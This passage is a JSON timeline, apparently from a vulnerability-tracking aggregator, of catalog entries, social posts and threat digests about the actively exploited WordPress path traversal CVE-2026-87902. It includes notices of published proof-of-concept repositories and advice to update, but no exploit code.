"https://bsky.app/profile/webcreatorbox.com/post/3mwcgjwvqyc2x"}, {"timestamp": "2026-09-25T00:00:00Z", "date_only": false, "value": "2026-09-25T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2026-87902", "field": "timestamps.asserted_at", "uuid": "ddae727a-8beb-478a-b139-8a820f12a93d", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-25T00:00:00Z", "date_only": true, "value": "2026-09-25", "kind": "other", "label": "Catalog added", "source": "cvelistv5 / CISA-ADP", "record": "cve-2026-87902", "field": "containers.adp.0.metrics.2.other.content.dateAdded"}, {"timestamp": "2026-09-25T00:00:00Z", "date_only": true, "value": "2026-09-25", "kind": "kev", "label": "Date added", "source": "cisa-kev", "record": "CVE-2026-87902", "field": "evidence.0.details.date_added", "uuid": "ddae727a-8beb-478a-b139-8a820f12a93d", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-25T00:00:00Z", "date_only": false, "value": "2026-09-25T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "cisa-kev", "record": "CVE-2026-87902", "field": "timestamps.first_seen_at", "uuid": "ddae727a-8beb-478a-b139-8a820f12a93d", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-25T00:00:00Z", "date_only": false, "value": "2026-09-25T00:00:00+00:00", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "cve-2026-87902", "field": "containers.adp.0.metrics.1.other.content.timestamp"}, {"timestamp": "2026-09-25T00:00:00Z", "date_only": false, "value": "2026-09-25T00:00:00+00:00", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-87902", "record": "FKIE_CVE-2026-87902", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2026-09-25T00:00:00Z", "date_only": false, "value": "2026-09-25T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "cisa-kev", "record": "CVE-2026-87902", "field": "status.status_updated_at", "uuid": "ddae727a-8beb-478a-b139-8a820f12a93d", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-25T00:00:00Z", "date_only": false, "value": "2026-09-25T00:00:00.000Z", "kind": "other", "label": "Time", "source": "cvelistv5 / CISA-ADP", "record": "cve-2026-87902", "field": "containers.adp.0.timeline.0.time"}, {"timestamp": "2026-09-25T00:00:39Z", "date_only": false, "value": "2026-09-25T00:00:39.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/ichintu/ab5cbbd3842997755fe279a7f768db9d", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "ac0d3491-df0a-456b-963a-d9fd10c33a75", "content": "This daily threat intelligence digest highlights critical, actively exploited vulnerabilities and systemic patching gaps across enterprise, mobile, AI, and web platforms:\n\n\u2022 **Actively Exploited & High-Impact Flaws:** Adobe\u2019s AV26-808 advisory (CVE-2026-71362 added to CISA KEV) impacts multiple products; WordPress patched a critical RCE (CVE-2026-87902) exploited within 24 hours; OnePlus devices allow unprivileged apps to gain root (CVE-2025-10184); Brocade SANnav leaks IPsec pre-shared keys in container logs (CVE-2026-14443, CVSS 8.4).\n\n\u2022 **AI & Emerging Threats:** Orca Security\u2019s 2026 report reveals 81% of AI-using organizations host vulnerable packages, 50% with public exploits, and 99.9% unpatched, as defenses focus on prompt injection over basic hygiene. The Lunex info stealer now leverages Bring Your Own Vulnerable Driver (BYOVD) techniques.\n\n\u2022 **Legacy & Credential Risks:** PHP HTTP redirect credential leak (CVE-2026-91766) underscores persistent data exposure from older curl handling flaws.\n\n\u2022 **Key Takeaway:** Exploit-to-patch windows have effectively collapsed, and unmanaged/inventory-blind deployments are creating critical blind spots. Immediate patching, automated remediation workflows, and strict asset tracking are essential to mitigate active threats.", "url": "https://gist.github.com/ichintu/ab5cbbd3842997755fe279a7f768db9d"}, {"timestamp": "2026-09-25T00:03:16.396Z", "date_only": false, "value": "2026-09-25T00:03:16.396536Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3mwchspywtl2p", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "652fc536-9b50-4b3d-9147-4607fff57904", "content": "Attackers Exploit WordPress CVE-2026-87902 Within Hours of Disclosure #cybersecurity #hacking #news #infosec #security #technology #privacy thehackernews.com/20...", "url": "https://bsky.app/profile/ninjaowl.ai/post/3mwchspywtl2p"}, {"timestamp": "2026-09-25T00:15:24.303Z", "date_only": false, "value": "2026-09-25T00:15:24.303234Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mwciigkoik2d", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "41c0f935-04bc-47bc-84f1-8f201ad0bcc5", "content": "Attackers Exploit WordPress CVE-2026-87902 Within Hours of Disclosure\n\nThreat actors have begun to actively exploit a critical security flaw in WordPress within hours of public disclosure.\n\nThe vulnerability in question is CVE-2026-87902 (CVSS score: 9.2), which could allow an una\u2026\n#hackernews #news", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3mwciigkoik2d"}, {"timestamp": "2026-09-25T01:00:07Z", "date_only": false, "value": "2026-09-25T01:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103283", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "13d09124-eb9a-41e6-b99d-b99d3c22fb7f", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902_PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a khellwan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-25 00:58:57\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nProof of concept for vulnerability CVE-2026-87902 in Wordpress\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103283"}, {"timestamp": "2026-09-25T01:00:07Z", "date_only": false, "value": "2026-09-25T01:00:07.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103283", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "65eefc1c-45b2-4275-9973-9f877f509974", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902_PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a khellwan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-25 00:58:57\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nProof of concept for vulnerability CVE-2026-87902 in Wordpress\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103283"}, {"timestamp": "2026-09-25T01:00:23.522Z", "date_only": false, "value": "2026-09-25T01:00:23.522716Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ownmono.bsky.social/post/3mwckyu4pz72h", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "33e9e3c7-3961-40df-a3f8-533d5a2a8c36", "content": "WordPress\u672c\u4f53\u306b\u91cd\u5927\u306a\u8106\u5f31\u6027\u300cCVE-2026-87902\u300d\u304c\u516c\u8868\u3055\u308c\u307e\u3057\u305f\u3002\n\u5bfe\u8c61\u30d0\u30fc\u30b8\u30e7\u30f3\u3084\u4fee\u6b63\u7248\u3001\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u524d\u306b\u78ba\u8a8d\u3057\u305f\u3044\u30dd\u30a4\u30f3\u30c8\u3092\u521d\u5fc3\u8005\u5411\u3051\u306b\u307e\u3068\u3081\u3066\u3044\u307e\u3059\u3002\n\u307e\u305a\u306f\u7ba1\u7406\u753b\u9762\u304b\u3089\u3001\u73fe\u5728\u306eWordPress\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u78ba\u8a8d\u3057\u3066\u304f\u3060\u3055\u3044\u3002 \nownmono.com/blog/wordpre...", "url": "https://bsky.app/profile/ownmono.bsky.social/post/3mwckyu4pz72h"}, {"timestamp": "2026-09-25T02:00:08Z", "date_only": false, "value": "2026-09-25T02:00:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103285", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "5a9cfc20-894f-47f4-9d5c-c6955df17648", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a EXPLOIT-CVE-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a joaovicdev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-25 01:06:41\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nLab vulner\u00e1vel (Docker) + PoC Python para a CVE-2026-87902 \u2014 path traversal n\u00e3o autenticado no WordPress Core (page-template -> LFI -> RCE condicional). Uso educacional/autorizado.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103285"}, {"timestamp": "2026-09-25T02:00:08Z", "date_only": false, "value": "2026-09-25T02:00:08.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103285", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "3f039ac6-04de-4df3-a2f6-13e9f17f2447", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a EXPLOIT-CVE-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a joaovicdev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-25 01:06:41\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nLab vulner\u00e1vel (Docker) + PoC Python para a CVE-2026-87902 \u2014 path traversal n\u00e3o autenticado no WordPress Core (page-template -> LFI -> RCE condicional). Uso educacional/autorizado.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103285"}, {"timestamp": "2026-09-25T03:00:11Z", "date_only": false, "value": "2026-09-25T03:00:11.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/RACfXFf4CCpOLZKZyR5Qndk-K5ZPYrCccXnDxmxSnxIfo6Q", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "fd993fa9-ee35-4f88-8992-d0ff0dc1136b"}, {"timestamp": "2026-09-25T03:00:11Z", "date_only": false, "value": "2026-09-25T03:00:11.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/RACfXFf4CCpOLZKZyR5Qndk-K5ZPYrCccXnDxmxSnxIfo6Q", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "7946dde3-b717-45f5-be67-8344379d122d"}, {"timestamp": "2026-09-25T05:00:05.537Z", "date_only": false, "value": "2026-09-25T05:00:05.537809Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybermaster77.bsky.social/post/3mwcyfimjh72c", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "28bfe392-ff36-4b72-8283-0d358a8cdf5f", "content": "Attackers Exploit WordPress CVE-2026-87902 Within Hours of Disclosure\n\nhttps://thehackernews.com/2026/09/attackers-exploit-wordpress-cve-2026.html\n\n#CyberSecurity #InfoSec", "url": "https://bsky.app/profile/cybermaster77.bsky.social/post/3mwcyfimjh72c"}, {"timestamp": "2026-09-25T05:56:40.849Z", "date_only": false, "value": "2026-09-25T05:56:40.849545Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/bot-de-florian.bsky.social/post/3mwd3kojasc2l", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "343d066d-f0cb-47f6-ba5e-b8f7c799a57f", "content": "\ud83d\udea8 WordPress : la faille critique CVE-2026-87902, d'abord sond\u00e9e, sert d\u00e9sormais \u00e0 \u00e9crire des fichiers et ex\u00e9cuter des commandes.\n\n\ud83d\udd17 https://www.bleepingcomputer.com/news/security/hackers-start-exploiting-critical-wordpress-flaw-for-code-execution/", "url": "https://bsky.app/profile/bot-de-florian.bsky.social/post/3mwd3kojasc2l"}, {"timestamp": "2026-09-25T06:33:20.411Z", "date_only": false, "value": "2026-09-25T06:33:20.411859Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mwd5ma6ius2o", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "5bf9efaf-4e06-4e75-bf72-5363d2f364d6", "content": "Top 3 CVE for last 7 days:\nCVE-2026-86296: 25 interactions\nCVE-2026-7273: 20 interactions\nCVE-2026-87902: 20 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-87902: 11 interactions\nCVE-2026-94127: 9 interactions\nCVE-2026-21962: 5 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mwd5ma6ius2o"}, {"timestamp": "2026-09-25T07:02:31.081Z", "date_only": false, "value": "2026-09-25T07:02:31.081343Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/elhacker.net/post/3mwd7afjoml2q", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "67c99f09-1ba2-490d-b685-cca7dc2933c0", "content": "Blog: \"Ciberatacantes aprovechan la vulnerabilidad CVE-2026-87902 de WordPress pocas horas despu\u00e9s de su publicaci\u00f3n\"", "url": "https://bsky.app/profile/elhacker.net/post/3mwd7afjoml2q"}, {"timestamp": "2026-09-25T07:30:08.556Z", "date_only": false, "value": "2026-09-25T07:30:08.556447Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mwdarrydgt2n", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "e0190b37-7e8e-45dc-9a71-e162688a342d", "content": "Attackers Exploit WordPress CVE-2026-87902 Within Hours of Disclosure\uff08WordPress\u306eCVE-2026-87902\u3001\u516c\u958b\u304b\u3089\u6570\u6642\u9593\u3067\u653b\u6483\u8005\u304c\u60aa\u7528\uff09 #TheHackerNews (Sep 24)\n\nthehackernews.com/2026/09/atta...", "url": "https://bsky.app/profile/kitafox.bsky.social/post/3mwdarrydgt2n"}, {"timestamp": "2026-09-25T07:33:03.877Z", "date_only": false, "value": "2026-09-25T07:33:03.877244Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/wpmore.bsky.social/post/3mwdawz7u6h2x", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "6277378d-de56-459d-be04-f80b87ba53e8", "content": "CVE-2026-87902: A working PoC for WordPress's critical path traversal\n\nhadrian.io/vulnerabilit...", "url": "https://bsky.app/profile/wpmore.bsky.social/post/3mwdawz7u6h2x"}, {"timestamp": "2026-09-25T08:00:20Z", "date_only": false, "value": "2026-09-25T08:00:20.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/G2IXoajKrfnxqgvTnCCOZjB0188WWKCpajXSK_CauCr76ZsU", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "f375f749-814b-42ec-a648-387e72fbf80a"}, {"timestamp": "2026-09-25T08:03:04Z", "date_only": false, "value": "2026-09-25T08:03:04.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/MalaysiaHacktivistz/16817", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "3349ad2c-824b-4e1e-be39-a4326baf7321", "content": "Attackers Exploit WordPress CVE-2026-87902 Within Hours of Disclosure \u2013 thehackernews.com\n\nThu, 24 Sep 2026 13:36:18", "url": "https://t.me/MalaysiaHacktivistz/16817"}, {"timestamp": "2026-09-25T08:03:04Z", "date_only": false, "value": "2026-09-25T08:03:04.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/MalaysiaHacktivistz/26206", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "7ecba5c3-9ef8-4af2-8aae-f2f2ab915c20", "content": "Attackers Exploit WordPress CVE-2026-87902 Within Hours of Disclosure \u2013 thehackernews.com\n\nThu, 24 Sep 2026 13:36:18", "url": "https://t.me/MalaysiaHacktivistz/26206"}, {"timestamp": "2026-09-25T08:03:04Z", "date_only": false, "value": "2026-09-25T08:03:04.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/MalaysiaHacktivistz/26206", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "87cff9df-d67f-4f82-b474-90bba8400ded", "content": "Attackers Exploit WordPress CVE-2026-87902 Within Hours of Disclosure \u2013 thehackernews.com\n\nThu, 24 Sep 2026 13:36:18", "url": "https://t.me/MalaysiaHacktivistz/26206"}, {"timestamp": "2026-09-25T08:03:05Z", "date_only": false, "value": "2026-09-25T08:03:05.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/TengkorakCyberCrewzz/15002", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "ce3c6d6c-006e-45c1-b9a9-8ea98f64fa18", "content": "Attackers Exploit WordPress CVE-2026-87902 Within Hours of Disclosure \u2013 thehackernews.com\n\nThu, 24 Sep 2026 13:36:18", "url": "https://t.me/TengkorakCyberCrewzz/15002"}, {"timestamp": "2026-09-25T08:04:40.550Z", "date_only": false, "value": "2026-09-25T08:04:40.550938Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mwdcok43f2y4", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "57dec3fd-3942-4570-ae77-7cdf2586307f", "content": "WordPress\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u3001\u516c\u958b\u76f4\u5f8c\u306b\u60aa\u7528\u3055\u308c\u308b\uff08CVE-2026-87902\uff09 | Codebook\uff5cSecurity News https://codebook.machinarecord.com/threatreport/silobreaker-cyber-alert/47839/", "url": "https://bsky.app/profile/shiojiri.com/post/3mwdcok43f2y4"}, {"timestamp": "2026-09-25T09:00:04Z", "date_only": false, "value": "2026-09-25T09:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Yeumbd0afhQFKWhtQ_kYIVtV861DL6U2SRa0YhPEpV3GAh8", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "9ee3eb36-5c18-4bfc-ac21-db033725bde0"}, {"timestamp": "2026-09-25T09:00:04Z", "date_only": false, "value": "2026-09-25T09:00:04.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/Yeumbd0afhQFKWhtQ_kYIVtV861DL6U2SRa0YhPEpV3GAh8", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "16a15a5b-29b4-488a-bd62-c17b3a246ca6"}, {"timestamp": "2026-09-25T09:04:03.415Z", "date_only": false, "value": "2026-09-25T09:04:03.415432Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mwdbwvlfplfu", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "649c8aa1-0ab9-41a2-a62d-ab379ade9d58", "content": "Singapore's cyber agency warns WordPress Core CVE-2026-87902 is being exploited. Code execution needs specific server and theme conditions. Update to 7.1.2 or the fixed release for your branch.", "url": "https://bsky.app/profile/shortinfo.bsky.social/post/3mwdbwvlfplfu"}, {"timestamp": "2026-09-25T09:31:38.986Z", "date_only": false, "value": "2026-09-25T09:31:38.986000Z", "kind": "sighting", "label": "Exploited", "source": "https://www.kaspersky.com/blog/cve-2026-87902-wordpress-vulnerability/56459", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "5ce5e7fd-764e-4297-9bbc-122b7ff1bb14", "url": "https://www.kaspersky.com/blog/cve-2026-87902-wordpress-vulnerability/56459"}, {"timestamp": "2026-09-25T11:40:22.191Z", "date_only": false, "value": "2026-09-25T11:40:22.191071Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/dastechno.com/post/3mwdoracnqo2x", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "48431d0e-42ea-44b0-9583-c96ae7327ebf", "content": "WordPress-L\u00fccke CVE-2026-87902: Angriffe laufen, Update auf 7.1.2 n\u00f6tig\n\nDie kritische WordPress-L\u00fccke CVE-2026-87902 wird seit dem Patch-Tag angegriffen. Wer noch nicht auf 7.1.2 oder einen Backport aktualisiert hat, sollte das sofort tun.\n\n#News", "url": "https://bsky.app/profile/dastechno.com/post/3mwdoracnqo2x"}, {"timestamp": "2026-09-25T12:00:12.098Z", "date_only": false, "value": "2026-09-25T12:00:12.098487Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybermaster77.bsky.social/post/3mwdpupof7j2f", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "f0a453a9-9bfc-4470-b178-16e822b8d6da", "content": "Attackers Exploit WordPress CVE-2026-87902 Within Hours of Disclosure.\n\nSource: thehackernews.com/2026/09/attackers-exploit-wordpress-cve-2026.html\nCommunity: whop.com/cybermaster-d5a7\n\n#CyberSecurity #InfoSec", "url": "https://bsky.app/profile/cybermaster77.bsky.social/post/3mwdpupof7j2f"}, {"timestamp": "2026-09-25T12:00:39Z", "date_only": false, "value": "2026-09-25T12:00:39.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/ichintu/a75d075b634c5b72a80aeacabcd23bc1", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "9d47719a-a771-4abc-9fa1-b84d7710b670", "content": "This daily threat intelligence briefing highlights four key developments:\n\n\u2022 **Critical & Actively Exploited Vulnerabilities:** Immediate patching is required for a critical WordPress path traversal (CVE-2026-87902), a pre-auth SQL injection in Roundcube (CVE-2026-48842), and a WordPress plugin privilege escalation/OTP bypass (CVE-2026-14281, CVSS 9.8). An Akia keyless entry IDOR (CVE-2026-97898) was remediated on Sept 19.\n\n\u2022 **Major Crypto Exchange Breach:** Suspected North Korean actors stole $351.6M from Bitget by compromising hot and warm wallets; cold storage and the majority of platform funds remain secure.\n\n\u2022 **AI Misuse & Surveillance Accountability:** Anthropic\u2019s report details how AI is industrializing cybercrime, influence operations, and state-level surveillance through human-AI task division. Separately, experts urge Flock Safety to implement stricter access controls, graduated data retention, independent oversight, and legislative safeguards to prevent misuse of its automated license-plate network.\n\n\u2022 **Platform Moderation:** One Reddit post was removed for violating content policies.", "url": "https://gist.github.com/ichintu/a75d075b634c5b72a80aeacabcd23bc1"}, {"timestamp": "2026-09-25T12:23:32.360Z", "date_only": false, "value": "2026-09-25T12:23:32.360223Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pvynckier.bsky.social/post/3mwdr6emqls2h", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "3b3077b5-3126-4b62-8174-ab0f16c1e67b", "content": "Attackers Exploit WordPress CVE-2026-87902 Within Hours of Disclosure thehackernews.com/2026/09/atta...", "url": "https://bsky.app/profile/pvynckier.bsky.social/post/3mwdr6emqls2h"}, {"timestamp": "2026-09-25T14:00:21.723Z", "date_only": false, "value": "2026-09-25T14:00:21.723233Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mwdwlliil62f", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "424b1317-420e-4fd9-a822-20bbfe454131", "content": "WordPress CVE-2026-87902 (CVSS 9.2) is also being actively exploited: unauthenticated RCE via page-template resolution. Previdian recorded 68 attempts since Sept 23. Upgrade ASAP. Source: TheHackerNews. #InfoSec", "url": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mwdwlliil62f"}, {"timestamp": "2026-09-25T17:25:46Z", "date_only": false, "value": "2026-09-25T17:25:46.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/kasperskylab_ru/7754", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "ac7d77f5-36ae-4415-ae28-87eb9358a17c", "content": "\u2757\ufe0f\u041d\u043e\u0432\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u044f\u0434\u0440\u0435 WordPress (CVE-2026-87902) \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445\n\n22 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f WordPress \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0435\u0451 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442, \u043d\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043e\u0447\u0435\u043d\u044c \u0431\u044b\u0441\u0442\u0440\u043e \u2014 \u043f\u0435\u0440\u0432\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u044b \u0443\u0436\u0435 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0430\u0442\u0447\u0430.\n\n\u0418\u0437-\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-87902 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043a WordPress \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 PHP-\u0444\u0430\u0439\u043b, \u043f\u0440\u0438\u0447\u0435\u043c \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u25b6\ufe0f\u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f?\n\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0439 WordPress-\u0441\u0430\u0439\u0442 \u0438\u043b\u0438 \u0431\u043b\u043e\u0433 \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441 \u2014 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0430\u0442\u0447.\n\n\u041d\u043e \u0432 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u043a\u043e\u0433\u0434\u0430 \u043c\u0435\u0436\u0434\u0443 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e 